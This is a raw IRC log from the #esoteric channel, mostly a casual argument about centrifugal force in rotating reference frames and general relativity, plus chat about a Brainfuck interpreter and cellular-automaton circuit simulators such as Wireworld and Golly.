1267663442 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Later, folks. < 1267663449 0 :cpressey!unknown@unknown.invalid PART #esoteric :? < 1267663458 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Gwandocu is extremely strong evidence, far beyond a reasonable doubt. < 1267663459 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: that seems to lack a certain necessary complexity < 1267663484 0 :FireFly!unknown@unknown.invalid QUIT :Remote host closed the connection < 1267663493 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :"Hello, world!" isn't a computer program. < 1267663497 0 :BeholdMyGlory!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1267663523 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: it is in some languages! < 1267663529 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :also, what language is gwandocu :| < 1267663550 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :English. < 1267663558 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :#esoteric Vernacular English. < 1267663561 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :oic < 1267663587 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Etymology: pronouncable series of letters, chosen on a whim. < 1267663600 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :;) < 1267663664 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i still say it's welsh < 1267663684 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :In Welsh it's Gwndycu. < 1267663708 0 :sebbu2!~sebbu@ADijon-152-1-62-25.w83-194.abo.wanadoo.fr JOIN :#esoteric < 1267663762 0 :sebbu!unknown@unknown.invalid QUIT :Ping timeout: 264 seconds < 1267663762 0 :sebbu2!unknown@unknown.invalid NICK :sebbu < 1267663766 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: gwendolyn is a welsh name you know. it's not that far off. < 1267663967 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :gun-dick-oo < 1267663980 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Yeah. < 1267664161 0 :sebbu!unknown@unknown.invalid QUIT :Ping timeout: 264 seconds < 1267664168 0 :sebbu!~sebbu@ADijon-152-1-8-207.w83-194.abo.wanadoo.fr JOIN :#esoteric < 1267664174 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric : Gregor: general relativity allows you to treat any object as stationary, including the earth. see also http://xkcd.com/123/ < 1267664201 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: Well, not quite, Earth is in an accelerated frame of reference, but anyway, even so the sun most certainly does not come "up", up would be away from the Earth. < 1267664291 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: the sad thing is that he gets it backwards :( < 1267664295 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :general relativity allows you to treat an accelerated frame as stationary ;D < 1267664298 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(it < 1267664305 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :'s just a coordinate choice) < 1267664307 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :construct newtons laws in a rotating frame and you see there is no centrifugal force < 1267664331 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :augur: um, no? < 1267664338 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: um, yes? < 1267664342 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Yeah, I'm gonna go with "um, no" on this. < 1267664437 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: I think that everything is definable in a reference frame, but not consistent with the behavior of a stationary frame: From an accelerated frame, all other objects appear to be accelerating conversely, but with no force acting upon them. That's inconsistent. < 1267664445 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :unless what you mean by "get a centrifugal force" is if you calculate something based off of where the revolving object would've gone were it not kept in a circular path by a centripetal force. < 1267664482 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but thats inventing a force based on what WOULD have been not what is. there is no centrifugal force that emerges from newtons laws in a rotating reference frame. < 1267664483 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: general relativity treats that as a gravity field caused by the metric of spacetime < 1267664503 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :there is only a centripetal force and momentum. < 1267664515 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :augur: do you understand what "in a rotating (coordinate) frame" means? < 1267664528 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :yes, i do. < 1267664538 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: Oh wait ... this is one of the properties of /general/ relativity that distinguishes it from /special/ relativity, innit? My general rel. isn't up to snuff :P < 1267664555 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: yeah. < 1267664593 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :don't worry, mine isn't up to much more than that either. i certainly cannot calculate spacetime tensors... < 1267664621 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :you cant calculate kinematic vectors, nevermind spacetime tensors, apparently. < 1267664639 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION swats augur -----###
< 1267664648 0 :dev_squid!~dev_squid@cpe-075-182-022-108.sc.res.rr.com JOIN :#esoteric < 1267664657 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :it doesnt help you that im a masochist. :P < 1267664727 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: He's telling you to swat him again. < 1267664762 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :augur: if you turn on a centrifuge, and then describe everything happening inside from the viewpoint of a coordinate system moving _with_ the centrifuge, then clearly in that coordinate system there is an acceleration of things < 1267664776 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :no, there isnt. < 1267664861 0 :ruhtranayr!~ruhtranay@c-76-112-204-68.hsd1.mi.comcast.net JOIN :#esoteric < 1267664875 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :an object moving at zero velocity outside of the rotating frame will trace a circular path in the rotating frame, which is acceleration < 1267664903 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :um, yes. that's "yes, there is.", by the way < 1267664905 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :an object revolving at the same rate as the frame does not move in the frame, maintaining the same coordinates, thus not accelerating < 1267664936 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :centrifugal force is not the acceleration of the externally stable object. < 1267664945 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :augur: sheesh, we are talking about describing _ordinary_ physics from the viewpoint of a rotating frame < 1267664956 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :afk < 1267665001 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :actually, brb < 1267665249 0 :MissPiggy!unknown@unknown.invalid QUIT :Quit: Lost terminal < 1267665253 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 245 seconds < 1267665878 0 :MizardX!unknown@unknown.invalid QUIT :Ping timeout: 258 seconds < 1267666429 0 :dev_squid!unknown@unknown.invalid QUIT :Ping timeout: 264 seconds < 1267666526 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :I wrote a BF interpreter in C. Why did I write a BF interpreter in C? < 1267666548 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION tries to trace back to the start of the reasoning...
< 1267666562 0 :dev_squid!~dev_squid@cpe-075-182-022-108.sc.res.rr.com JOIN :#esoteric < 1267666582 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Oh, right. I had tried in the past (ages ago) and failed horribly. Somehow I went from there to "I should write one." < 1267666612 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric : http://sprunge.us/LBeW < 1267666617 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Least useful program I've written in ages. < 1267666813 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Also probably the cleanest C I've written this year. :P < 1267667511 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Meanwhile, I present the ugliest car ever created: http://www.carsweb.cz/hatt/novinky/golba/golba_1.jpg < 1267667778 0 :SimonRC!unknown@unknown.invalid QUIT :Ping timeout: 265 seconds < 1267667792 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Dear God. It is ugly. < 1267667943 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :I'm not sure what to say. < 1267667960 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Depending on your perspective, it either has tits or testicles. < 1267668353 0 :SimonRC!~sc@fof.durge.org JOIN :#esoteric < 1267668423 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1267668431 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :I was going for alliteration there, but in retrospect, "boobs or balls" would have worked better. < 1267668803 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1267669024 0 :Sgeo_!unknown@unknown.invalid NICK :Sgeo < 1267669586 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"The result was speedy no consensus." —Articles for Deletion < 1267669642 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :who says wikipedia isn't efficient < 1267670173 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :alise: lol < 1267670181 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :That ... what? < 1267670194 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :http://en.wikipedia.org/wiki/Wikipedia:Articles_for_deletion/Dwm_(2nd_nomination) < 1267670203 0 :coppro!unknown@unknown.invalid QUIT :Remote host closed the connection < 1267670207 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Guys/ < 1267670209 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :*Guys. < 1267670212 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Hello. < 1267670366 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Are there any programs out there that would let be experiment with computer circuitry and logic gates and stuff like that? < 1267670394 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1267670408 0 :alise!unknown@unknown.invalid QUIT :Quit: alise < 1267670428 0 :sebbu!unknown@unknown.invalid QUIT :Ping timeout: 245 seconds < 1267670475 0 :sebbu!~sebbu@ADijon-152-1-2-133.w83-194.abo.wanadoo.fr JOIN :#esoteric < 1267670602 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: scarf is the expert on that stuff here i believe < 1267670657 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :as in, he actually does research with it < 1267670733 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :vhdl is a keyword to look for < 1267670880 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :I see. < 1267670901 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Would a Von Neumann Automaton simulator fit my needs? o.o < 1267670976 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :the cellular automaton thing? that seems a bit different from real circuits < 1267671020 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :I think so. < 1267671025 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Yeah, I assumed as much. < 1267671025 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :... a Von Neumann Automaton is presumably, based on the name, not a cellular automaton or even anything particularly similar to a cellular automaton ... < 1267671065 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: http://en.wikipedia.org/wiki/Von_Neumann_cellular_automaton < 1267671083 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Oh, interesting :P < 1267671089 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :It falls under the category of an automaton, but it can be used to construct CPU models. < 1267671125 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: note that "automaton" includes more types than cellular ones < 1267671141 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Oh. < 1267671158 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Absolutely. < 1267671163 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :turing machines, for example < 1267671176 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(although those are easy to simulate with cellular ones) < 1267671189 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :You know what'd be cool? An esolang based on the Von Neumann Automaton. :) < 1267671265 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Hahah! This looks PERFECT! (http://en.wikipedia.org/wiki/Wireworld) < 1267671296 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Wireworld is good fun. < 1267671336 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :epic http://upload.wikimedia.org/wikipedia/en/f/f9/Golly_Constructor_layout.gif < 1267671457 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Oh, you think THAT's epic?! Look at this one... < 1267671488 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :See the ticker GIF at the top of (http://golly.sourceforge.net/)? < 1267671517 0 :adu!~ajr@pool-74-96-89-29.washdc.fios.verizon.net JOIN :#esoteric < 1267671525 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :heh, nice < 1267671534 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :That's an actual configuration which I BELIEVE is in Game of Life, but I can't tell. < 1267671537 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :it is < 1267671550 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :those are LWSS guns, I believe < 1267671551 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :It's one demo configuration in Golly. < 1267671561 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :That's sort of unbelievable. :) < 1267671574 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :actually, I don't know the specific term for those < 1267671585 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :since they're guns, but only trigger when a glider comes by and reflect the glider < 1267671811 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :I haven't even looked into Life enough to even know what you're talking about. :) < 1267671858 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :a spaceship is an element that moves on its own without leaving debris or anything; gliders are the basic spaceships that move diagonally < 1267671869 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :I see. :) < 1267671872 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :a gun is a pattern that generates spaceships < 1267671884 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Cool. < 1267671886 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :in the right, you can see gliders going back and forth between reflectors < 1267671922 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :and when they get reflected on the middle reflectors, they generate horizontal spaceships < 1267671924 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :which make the pattern < 1267671992 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :I read in an article once that you could take a turing-complete automaton like Life and build a working program and that it would be the ultimate form of data compression. :) < 1267672032 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :huh? < 1267672042 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :why? < 1267672070 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: Doubtful. < 1267672080 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Life takes quite a lot of memory. < 1267672112 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Just what I read. < 1267672125 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Hey... < 1267672170 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :So Wireworld is probably what I'm looking for? < 1267672256 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION wonders if someone has implemented FSG in Golly
< 1267672594 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :you know, I sort of like this channel without alise being here all the time < 1267672685 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :What's wrong with alise? < 1267672760 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Looks like I'm gonna be addicteed to this thing. < 1267672931 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Just some random crap personal stuff. < 1267673133 0 :jcp!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1267673173 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: alise has a habit of loudly attacking anything he doesn't like < 1267673196 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :which is sometimes nice, sometimes not < 1267673242 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1267673525 0 :jcp1!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1267673528 0 :jcp!unknown@unknown.invalid QUIT :Ping timeout: 245 seconds < 1267673941 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Ah. < 1267673944 0 :jcp1!unknown@unknown.invalid NICK :jcp < 1267674733 0 :ruhtranayr!unknown@unknown.invalid QUIT :Quit: Leaving < 1267674994 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :....oooohhhkay < 1267675006 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I just had deja vu, except it included stuff that did not happen. < 1267675277 0 :lament!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1267675335 0 :augur!~augur@216-164-33-76.c3-0.slvr-ubr2.lnh-slvr.md.cable.rcn.com JOIN :#esoteric < 1267675345 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: hello. < 1267675350 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :so to continue the previous discussion < 1267675354 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :noooooo < 1267675373 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION beats augur with the saucepan to induce amnesia ===\__/
< 1267675393 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :an object that is experiencing the so called "centrifugal" force is an object revolving around some centerpoint < 1267675401 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :the force being away from that centerpoint < 1267675434 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but in the rotating reference frame, the object is not moving at all, and thus is, relative to that frame of reference, not experiencing any forces < 1267675456 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :and thus there is no centrifugal force on it in the rotating frame of reference < 1267675500 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :now certainly its true that in the rotating f.o.r. an object stationary in the non-rotating f.o.r. will appear to move in a circle and therefore will appear to be affected by some force < 1267675506 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but this force is centripetal < 1267675513 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :not moving at all isn't the same as not experiencing any forces - it just means the forces cancel out < 1267675529 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :ok, sure, but then the NET force is zero. < 1267675569 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :sure you could invent some imaginary centrifugal force that is perfectly counterbalanced by some other centripetal force, in this rotating f.o.r. < 1267675570 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :note that the object is pushed inward by the walls of the centrifuge < 1267675589 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :well yes, the object IS pushed inward by the wals of the centrifuge < 1267675593 0 :lament!~lament@S0106001b63f462cc.vc.shawcable.net JOIN :#esoteric < 1267675594 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but thats a centriPETAL force < 1267675600 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :not a centrifugal force. < 1267675630 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :augur: yes, but in the _rotating_ frame that is canceled _by_ the centrifugal force, precisely to allow the net force to be zero < 1267675656 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :oh i see what you're saying < 1267675662 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :wow < 1267675666 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :progress :D < 1267675719 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :e.g. if you had a mass on a spring, if you calculated the forces acting on the force, you would get that the mass is not experiencing non-zero "gross" force < 1267675750 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :for instance. im using a spring because the visual reasoning is easier in such a case < 1267675777 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :um is this spring inside the centrifuge, or is this completely unrelated? < 1267675780 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :yes, ok, definitely. in the rotating frame there would indeed be a centrifugal force. < 1267675788 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :yay < 1267675798 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :object on a spring, revolving around the spring's opposite end < 1267675818 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :so that the spring is stretched beyond it's normal length < 1267675872 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but isnt changing, then if you rotated the f.o.r. with the spring, the spring's tensile properties wouldnt change, so the force must be changing < 1267675906 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :yes, thats interesting. good point. < 1267675996 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i think the xkcd comic should have worded it more carefully. < 1267676048 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :because when i initially read it, i wasnt thinking in these terms, but rather in terms of just constructing the equations for circular motion in a non-rotating reference frame < 1267676159 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :mhm < 1267676249 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but i think there is good argument that any such derivation of a force is genuinely illegitimate by arguing that rotating frames of reference aren't on the same footing as non-rotating frames of reference < 1267676314 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :e.g. from a rotating f.o.r. you would have to have some sort of "5th force" < 1267676379 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :see general relativity - you get something indistinguishable from a gravitation field < 1267676397 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :not gravitational in natural, but rather different, because it has no source, propogates infinitely fast, radiates in only two dimensions, and has a falloff such that all objects, regardless of mass, have precisely the same revolution rate < 1267676436 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh all objects moving the same regardless of mass _is_ a gravitational feature < 1267676446 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :aye < 1267676454 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :sorry no what i meant is distance, not mass. < 1267676475 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :they have same revolution rate but varying speeds of revolution < 1267676479 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :true < 1267676487 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but this is NOT true of gravity < 1267676499 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :yeah, that probably has something to do with absence of (nonzero) spacetime curvature < 1267676504 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :infact, with a rotating frame, things can move faster than light. < 1267676523 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :yeah < 1267676539 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :the force seems to be really rather different than gravity < 1267676551 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :maybe its not, but it seems on its outward appearances to be quite different < 1267676573 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :sure < 1267676577 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :so is any force < 1267676591 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :(except, of course, for gravity) < 1267676596 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :but they are all indistinguishable from gravity in their effectrs < 1267676616 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :s/r[^r]+$// < 1267676657 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :right, but what im saying then is that accepting rotating reference frames as on equal footing with non-rotating references frames necessitates the existence of some sort of 5th force < 1267676669 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :maybe thats a moot point, right < 1267676684 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :maybe there is this fifth force, and it is generated by objects rotating < 1267676690 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :and it really does have these properties < 1267676728 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh food -> < 1267676744 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :iinm, people have analyzed magnetism as just an illusory relativistic version of the electrostatic force < 1267676828 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but i think really the fact that this 5th force is so radically different, has no force carrier particles, is undetectable except by people in the rotating reference frame, etc. suggests that its not genuine. < 1267676849 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Hm < 1267676863 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i mean, maybe in some sense you could detect the frame dragging of the rotating object, but that would take non-zero time to detect from a non-zero distance < 1267676864 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I should probably do something like retaking an online test I scored poorly on soonish < 1267676876 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :whereas the rotating frame would see this force as propogating instantly < 1267676886 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Will be unable to in about half an hour < 1267677029 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :also, if we assume that rotating reference frames are genuinely as valid as other reference frames, you have a world in which things can accelerate and decelerate at rates that have no correlation with their mass, the and gain and loose energy on a whim for no apparent reason, but everything in the universe experiences these things simultaneously by necessity < 1267677060 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :augur: btw don't be so sure about no force carrier particles. see http://en.wikipedia.org/wiki/Unruh_effect < 1267677109 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :let me continue :P < 1267677116 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :although i guess that could be taken as a way to detect which frames were "really" non-accelerating < 1267677149 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i mean, the point is, oerjan, accelerating frames of reference are not equivalent to non-accelerating frames of reference < 1267677171 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :the laws of physics as observed in them change. this is not true of a constant motion frame of reference < 1267677221 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :augur: i guess in general relativity it's actually _free-falling_ frames (which are not global btw) which are special, if any < 1267677237 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :he energy content of the universe would INCREASE < 1267677245 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :violating the laws of thermodynamics. < 1267677254 0 :Gracenotes!~person@wikipedia/Gracenotes JOIN :#esoteric < 1267677259 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :theres a conclusive reason to take accelerating frames as generally not valid. < 1267677310 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :augur: ah but you're forgetting gravitational potential. without that, energy is not preserved even in inertial frames i think < 1267677336 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :im not sure what gravitational potential iss < 1267677346 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :the sum total of all energy in the Universe is 0 < 1267677356 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :the potential energy due to height differences, say < 1267677374 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :ah, well, in that case i think it would move above 0 for this sort of thing < 1267677382 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :unless the fictional force was taken into account maybe < 1267677426 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but are you sure it's zero? because a universe of just EM radiation has energy but no gravity < 1267677433 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :also, the way general relativity really handles this is by saying the coordinate system doesn't actually matter, only the tensors (which change between systems) < 1267677434 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :so the total energy of the universe cant be zero < 1267677449 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :augur: there is a theory that the total energy is zero < 1267677454 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :oh, well. < 1267677469 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :and that this is how matter/energy could be created in the big bang < 1267677483 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :the hypothesized zerolity of the universal energy content should not be considered in this discussion ;P < 1267677498 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :by being offset by negative energy of the space expansion, iiuc < 1267677528 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(during the so-called inflation stage) < 1267677694 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh and one more thing, not all solutions to general relativity equations _have_ a meaningful total energy, so a rotating coordinate system may indeed violate that (i don't know) < 1267677719 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :im not saying its not a potential idea, right < 1267677733 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i mean, look, you could say that yes, the laws of the universe are different when viewed in an inertial frame < 1267677736 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :er < 1267677739 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :in an accelerating frame < 1267677745 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :and yes they are just as valid in that frame as well < 1267677749 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :despite being very different < 1267677759 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :yet they STILL produce the same universe, isnt that interesting and totally cool < 1267677769 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :and i'd be on board with that as a queer perspective < 1267677803 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but there would still be a little part of me that would want to 